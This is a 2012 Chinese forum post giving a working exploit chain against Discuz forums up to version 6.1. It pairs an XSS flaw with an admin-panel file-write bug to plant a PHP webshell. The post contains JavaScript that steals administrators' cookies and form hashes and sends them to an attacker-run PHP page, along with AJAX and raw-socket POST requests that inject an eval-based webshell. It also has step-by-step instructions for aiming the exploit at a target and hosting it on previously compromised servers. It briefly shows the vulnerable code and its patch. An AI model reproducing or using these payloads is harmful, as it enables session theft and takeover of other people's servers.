找回密码
 立即注册
查看: 4513|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell% b( B9 \$ C2 {$ `& k; L7 \
By racle @tian6.com
% _' |' v0 @/ W) F欢迎转帖.但请保留版权信息.
- F* o: I7 @" W; f+ l& X: A受影响版本iscuz<=6.1.0,gbk+utf+big5
# X% @' b" H9 J0 l% o+ D. V5 f7 N8 ~% p# [" S, M- F% ^; [
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
3 `8 `0 R! `; Q' F/ G: u  ~6 K
+ g0 R9 c  V, Q# z
/ F' {+ f; m, U- L7 D: {& y3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
* J! D0 ]' Z" |+ V* {: n当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.' s5 t) z$ e% H3 u1 J/ {' o$ ]: G& d
9 w. s  O; [" O
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
1 ]" s: B9 y7 {$ G) n  g4 {/ A本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS6 p3 g  u2 F+ F8 a! d1 G

5 q; l* ]0 B0 m& y4 b3 ]7 p( z/ g" \% x  ?# P+ Z$ y7 y5 C: {
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
! Y; _7 h+ X9 W" G5 J. [: J3 [& d) I& g

% M$ M+ v, Q* N2 Q/ Bproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.! `/ Z) N7 L9 i  r1 i

  L; Q* M1 H$ a% e7 l8 qproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.7 H- }- v: |* [# ]1 ~- C
/ ^/ N% q* b8 j% W5 n% ?
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
- S2 {$ N( ?# g" ?. ?9 S; R7 K1 `
5 Y, U8 P! O, F9 B- c) m: U- |. o& Y' V7 N' {9 O) T
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {( @7 C3 o, X1 j& E  v$ ~
3 x6 s; Z# [+ M6 G3 u/ U0 k
        global $runwizardfile, $runwizardhistory;# q! c+ C: y1 t( e+ v+ K/ N
1 d/ e: J0 P( E. h3 C6 @
        $fp = fopen($runwizardfile, 'w');4 a* W: E6 o- f. C7 |/ F* _/ S
% s3 o* }* J4 K8 m' {$ w. l
        fwrite($fp, serialize($runwizardhistory));! e/ @/ t: Y: z! Y6 V5 b: Q

! \: P8 i4 x4 L, G3 r4 B0 P2 a% d; r        fclose($fp);9 F3 S6 }/ p4 J5 K# I+ |' d7 Q' Q
" P! S5 j2 T" f5 n' @2 N+ i
}+ z; a; T: w- {; z  V
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.+ }6 k5 D0 ~$ f- k! P
以下是修补的办法:function saverunwizardhistory() {
. M# K  ^0 f, T% d: f% ?
+ X; N' E% L* ~- G& j7 [        global $runwizardfile, $runwizardhistory;; j+ V- K2 s3 h6 A' ~! |
# K& W; I( B4 P$ X6 O* F* V2 p% c
        $fp = fopen($runwizardfile, 'w');
/ E+ j& |2 |' U; V1 Q: m7 r* U" {8 L3 o
        $s = '<?php exit;?>';
% h1 R% Q/ O) N) a$ L* |9 C# u6 N, B# _5 Z
        $s .= serialize($runwizardhistory);
* @/ O4 [9 w7 f/ `) f/ u. A
9 G+ n* Y' S5 R8 \        fwrite($fp, $s);
7 A( ]6 V- @. O9 q3 b% p& Y" Y
6 R5 B- }5 S, f8 R' S6 y$ H2 Y        fclose($fp);
! @# Q9 q# v+ y) j7 ~
' v& o! a2 l) m7 `3 r; L' u+ c4 B" Y}0 c  {  x. y6 d$ I
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
) ]. d3 H1 p* a
$ Q# |& L9 W1 O6 Q7 p. U9 m; j) y9 X
4 n4 x6 l, E3 M7 A7 `: A1 Y) a
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
: K0 y; c$ \3 ~! G$ N+ m2 [
/ c# v. L: m% \0 m& K+ o# b; \2 [1 k+ U( V) D. C8 l6 r
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.+ R1 f& h9 B7 ~; T
* n1 d  H( G' Y7 k7 z& |
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL., ]. Y: W" J3 @" y& B& `/ {: y( B+ {
) y+ O: A  m7 q5 |
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.& U0 _$ x# O6 u6 h5 ~

, d; l9 n* I$ `2 k. b首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
8 ^2 M- B3 `6 k/ U, |6 m" T) C+ Y  E" }
var url="http://目标网站/admincp.php";      , c+ h& v, @4 Y3 w3 n) g$ D
, v3 v: n# N7 u. s- Q
/*获得cookies*/, E- K  {$ l5 s% C5 k2 v

0 j$ R& _& T! Z9 ?. Vfunction getURL(s) {, ^; u7 ~: T- y8 O* Q: e4 h; I. M
$ {: P2 C- c& {) e. l4 w+ {0 n
var image = new Image();
; _* N3 |% }$ _$ r- w8 j6 S4 T6 D- }2 y# T- P9 |9 o* ~3 i
image.style.width = 0;: o" T2 R' Q: l! R
; `+ y$ H3 A4 z! g
image.style.height = 0;
* F; r( J" [9 z. R2 |" K7 t( ^  H- `% K* ]  I9 e
image.src = s;
8 [* }% |& u2 ?% T7 ^* K0 o! D! L# U0 n& n/ s$ ?9 X
}6 _) e! Z, U8 W3 h0 H& S( T5 k

9 y$ O$ [  X' f9 |getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php& W9 _! Y( ~9 L7 J# z! V
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];3 t& I% E, ~0 n/ C1 Z6 L
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ! U4 |' H( G$ e( ]9 e5 V% r

* |% Q) l. G$ z7 }/ V( F& m
; O% ?8 K8 W3 p+ j- L获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
0 s/ N. }$ C% M0 B; s
# I9 D% Y' p+ r5 b' r( ]4 p
2 n! _' b6 U) F0 a; s
; r6 |6 {' U5 N* F4 y# \: k. ^/*hash*/
' b9 o8 Y* Y1 O" i( N; m. @4 i/ x0 `" A3 G9 M) k
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
% e! z% }2 o0 T2 v# y/ H, w, \5 ]/ G
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
& C  z$ {! ^, H4 |) f5 K; m/ Q8 w3 p7 i
xmlHttpReq.send();$ V$ }) A* [4 t$ L$ v1 T
* T' z3 @2 [3 K, A' Z* \
var resource = xmlHttpReq.responseText;& e4 j9 k+ P- P0 c- @$ d  c
; J6 s( M* q# b, M3 v8 P9 k
var numero = resource.search(/formhash/);# z( t7 Z# m+ k1 F3 m+ y$ H
; _& N- [; _) m" x, o/ C2 h
var formhash=encodeURIComponent(resource.substr(numero+17,8));
: m  L* M: A: N6 j4 i2 B5 p. |. F$ b: q7 i# h$ N5 F
1 _3 ~; Z" H+ }" K9 |
5 w3 O. S, b: I3 E$ F7 u- u
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 3 c" W$ \% N7 ^( r* S
$ A$ z! v3 f0 L: E* a* F. j' `
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
) z) F) @) E) d
* p+ V5 M6 P; s6 E* SxmlHttpReq.setRequestHeader("Referer", url);
8 |! f5 r: B; v/ X
/ p. n1 c) ^3 l& xxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
# m: A4 J/ _. M
( V7 b& z, h+ d( K3 zxmlHttpReq.setrequestheader("content-length",post.length);
1 v2 x0 w2 d- i! I+ S3 t8 n1 s
1 B7 }. T* q8 ^$ L4 j, yxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
1 g- i( q9 Y6 c- S8 a4 k; z6 R1 [3 U
xmlHttpReq.send(post);//发送数据
# k% o8 f: o4 V6 t& d复制代码这里HASH我假设正确,这样提交,也无须cookies
  Q$ \5 x0 U1 D" O6 K
6 P' m5 ^& C7 S% R6 {再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);/ _" S# N) q3 l9 a& }; U) M
7 b" K6 o# b& S4 I" U/ Q/ C
if (!$sock) die("$errstr ($errno)\n");" _6 }0 O- B; |1 z* g2 f1 U. ~. O4 Y' ^
4 u3 `7 t: j2 u7 {. O
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';" p& F4 j$ A' \9 e

- Q7 Q2 T$ a* T* B& {5 E; F0 T. \$ j! m4 F5 }

: H  w" \2 @: ^) w0 t# {fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
. @. `- i, O# |2 L) b8 l( V! P( ?+ w6 h$ k, k$ \
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");# m) X. I3 D* ^! Z1 g6 ?

! o) r# k5 c3 K, t& Ffwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
- s  Y; T% a" ^( v* l. E9 a7 V8 H3 Z7 |3 N1 `! L
fwrite($sock, "Accept-Language: zh-cn\r\n");
& h, ]2 L. h* I6 B# X6 K. J" f  ^5 n  x1 e
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");+ n( n0 P5 C" o
* b# D( |/ K2 i# d7 l7 j) X0 b
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
2 T0 W% ?9 F8 _8 V
/ I4 K6 @/ F* l  lfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
- N" H  Y  B9 ~* E
% R  |; ]2 d7 H  R- S' q" pfwrite($sock, "Host: $url\r\n");
# N. Q8 {/ f0 T. z( N
# {3 f. W' l( F7 M& p& f" mfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
1 q/ _, C) P0 s& `0 v! h3 m* ~: p9 j1 K% Q/ ]) u6 C
fwrite($sock, "Connection: Keep-Alive\r\n");7 P" }: j5 l  |$ s, i) _2 m6 _$ w. a

7 N; S7 D6 f- n# \1 D' n* Wfwrite($sock, "Cache-Control: no-cache\r\n");! B' E- Q" a, Z# `3 O: \6 ~* A

- `% x  p) H; [6 efwrite($sock, "Cookie:".$cookies."\r\n\r\n");6 f% a3 M# a5 ?( ]8 B
9 A1 ?0 h/ @; t  s; D; t. h
fwrite($sock, $data);
: e" Z$ s" X* I% j: ~" z: ^/ K0 X% O: F
0 X! Z2 W/ d8 Z4 x

! I; V2 ]8 T8 ~. r! _$headers = "";: Q( b0 _3 L9 `( C9 x
6 r3 M" n6 p8 c! n$ a' X
while ($str = trim(fgets($sock, 4096)))4 E& g1 N1 g4 t% S/ v9 `( f, z

0 ^4 a  }9 I- c, b3 d     $headers .= "$str\n";
. Z4 j2 V/ I4 N5 s0 r
! U9 B% F& u" {) R+ C5 E( Lecho "\n";
. \/ P# F2 `' F0 p# q. j2 A' m9 B! [9 O  @
$body = "";6 U) T: n$ I, K
3 J8 B# F; g) n
while (!feof($sock))
: Z  B* a# o4 \6 ^, O$ m( D5 U6 r% K6 b! U+ a* ^
     $body .= fgets($sock, 4096);1 {4 i+ |$ Y) _0 x) ~  ~5 y

# j! h1 D9 G1 [* ]fclose($sock);
* r3 C0 P7 l* S  ?. i" F; ]. U
( C' P+ k% a1 z5 v+ ~# yecho $body;. k6 M( \# ~) u% K  ]
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^* R& f2 U% ?0 Y) m

+ v* m; F' W) d" g% X! C$ h: |' R' X( c
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------( Y( @. `, c6 Z0 f! r: d# O

$ \- V7 I9 M5 ^& I; o( A0 C% i
+ }! F% I# A1 z- i- p7 U1HP SOCKET利用方法首先打开racle.js
, X, F2 h$ Q1 D$ T
2 s( @5 `5 d3 w) ]' ~; |  r3 Avar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home% j" B: T6 r- M& R3 A$ D) B7 A
/ M/ n, u# z6 r7 X/ l+ q

7 g) ?2 [* F. E+ V& B2 m$ M4 [3 q
0 A8 g. C8 [  q然后打开racle@tian6.php
3 g+ \+ P5 f8 @9 C7 w$ M3 e. y5 t% Y
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com/ q+ [5 ?/ T% b" i1 X

# O& w5 J. U1 l: N9 r8 {  ~1 N
* y; u: a5 }# g2 t6 r, Z( t4 h# s9 S' w* I& X- `* p' \) L! O
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
3 w, ~# B& V4 F9 Y, r7 r0 J! H/ S; D1 W: S. @
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));6 R1 G0 H4 _  y/ R
3 F4 k) E# Y4 [
, P: n! L8 \4 W- G( d4 u6 }

& E/ p( w# f. ]. v9 ]$ s9 }. egetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
$ k' g/ I4 I9 g2 L! K复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
" u9 \$ ~' e  O5 E( E
% g* ]5 r3 E/ w* j% h2 [& u& n! S& I9 S  T

  t. Y5 c. N- M, n3 J8 E' M如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:9 I: u1 c. u; B: @0 {/ i. L& e

4 M- t) M2 Q, P5 Evar formhash=encodeURIComponent(resource.substr(numero+17,8));
. k3 ~9 I* n$ A5 L( d% G4 }7 Y2 ]( |8 h# g  V9 A
' N' n, O) z" L, J( @! r

: A* P0 q0 s0 ivar formhash=encodeURIComponent(resource.substr(numero+9,8));
$ C; L, f7 Z3 c4 G/ ]" x! J复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.9 w; c! y1 ], d( a2 t

8 O) z8 M3 K: \如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
3 u( B& i2 L  o8 R: L
1 r  R% S: n2 c* Q如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
: O9 x( h3 \8 ]( W2 N5 J# D
0 r4 o( }8 i9 N不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.+ g5 D& S: c. [  }% w+ Z
  k' k7 k7 Q$ X- m( ?* C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表